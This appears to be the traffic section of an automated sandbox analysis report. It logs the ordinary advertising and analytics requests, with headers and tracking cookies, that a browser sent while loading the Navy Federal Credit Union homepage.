Source: global traffic	HTTP traffic detected: GET /pdst-events-prod-sink HTTP/1.1Host: us-central1-adaptive-growth.cloudfunctions.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590758325 HTTP/1.1Host: live.rezync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYpg.W9lPCe2bjG1r2q4j1B4-e8waITE
Source: global traffic	HTTP traffic detected: GET /sync?c=0aa2530f29e4f4a05b5d5d9bb35d60c2&p=93c1662463a616a7155169889dd99651&k=lionly&cache_buster=1716590758340 HTTP/1.1Host: live.rezync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYpg.W9lPCe2bjG1r2q4j1B4-e8waITE
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=7740c27a-cdee-4fdb-b183-ef4d6cfa7223&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /engagement/js?goalId=15654&cb=1716590761278 HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/tc.min.js HTTP/1.1Host: c1.rfihub.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /d2/bf474ba2-6d98-11ec-9997-2d0ad9c70a7f/2873/impression?dnt=false&vpxid=2873&bwb=35&us_privacy={{US_PRIVACY_STRING}} HTTP/1.1Host: b.videoamp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /identify/resolve?data=eyJjb29raWUiOnsiYnNpbiI6IiJ9LCJxdWVyeXN0cmluZyI6e30sImV4dGVybmFsX2lkcyI6eyJ6eW5jIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In19&site_id=navy-federal-credit-union HTTP/1.1Host: people.api.boomtrain.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.navyfederal.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=aam HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRgFKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIDYWFt
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=17946;g=sitewide_visits;gid=40999;ord=1699106905%20height=;ip=8.46.123.175;cuidchk=1 HTTP/1.1Host: trkn.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: barometric[cuid]=cuid_665118a9-1d52-4736-b8e5-2579d93bc663
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /*X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/src=9749892;dc_pre=CLOv4POup4YDFUrHOwId8L0J4A;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 HTTP/1.1Host: adservice.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CICW_fKup4YDFatfQQIdj2MHQA;src=2992003;type=nfcuf0;cat=nfcuh0;ord=8832101066273;npa=0;auiddc=;ps=1;pcor=932176874;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0v9185367349za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /*X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /*X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=7740c27a-cdee-4fdb-b183-ef4d6cfa7223&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=104600&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=1&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=7740c27a-cdee-4fdb-b183-ef4d6cfa7223&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tv2track.php?action_name=Navy%20Federal%20Credit%20Union%20%7C%20Banking%2C%20Loans%2C%20Mortgages%20%26%20Credit%20Cards%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=270625&h=18&m=45&s=58&url=https%3A%2F%2Fwww.navyfederal.org%2F&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=578 HTTP/1.1Host: collector-11598.tvsquared.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22aafbf16b-f44b-4ef0-9b6d-fd431d3a508f%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A1%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCPmR_PKup4YDFT1vQQId598InA%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6213689762165%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D893322139%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252F%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://9749892.fls.doubleclick.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=305f9585-fb97-4a3b-a503-f8815f3d752b&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=81e2e4c5-42ad-44dd-8617-cd81c22c011d&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=305f9585-fb97-4a3b-a503-f8815f3d752b&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /engagement/getpixels?gid=15654 HTTP/1.1Host: bttrack.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://9749892.fls.doubleclick.netSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /identify/resolve?data=eyJjb29raWUiOnsiYnNpbiI6IiJ9LCJxdWVyeXN0cmluZyI6e30sImV4dGVybmFsX2lkcyI6eyJ6eW5jIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In19&site_id=navy-federal-credit-union HTTP/1.1Host: people.api.boomtrain.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590763.1485915 HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/64581?bidder_id=200442&bidder_uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&_=1716590763.155465 HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /seg?t=1&add=37387871&ver=9&userid=357c28c3-9efd-4e35-8e20-288ff8da4a1a%3A1716590758.313698&pe=https%3A%2F%2Fwww.navyfederal.org%2F&pf= HTTP/1.1Host: secure.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/src=9749892;dc_pre=CLOv4POup4YDFUrHOwId8L0J4A;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i/adsct?bci=5&eci=2&event_id=7740c27a-cdee-4fdb-b183-ef4d6cfa7223&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=272bf3a9-5e24-4cac-85c0-41ae2c7fa36c&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2F&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_XXGBp5FEVOt4lj5n4pfxyg=="
Source: global traffic	HTTP traffic detected: GET /track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRgFIAEoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdydWJpY29u
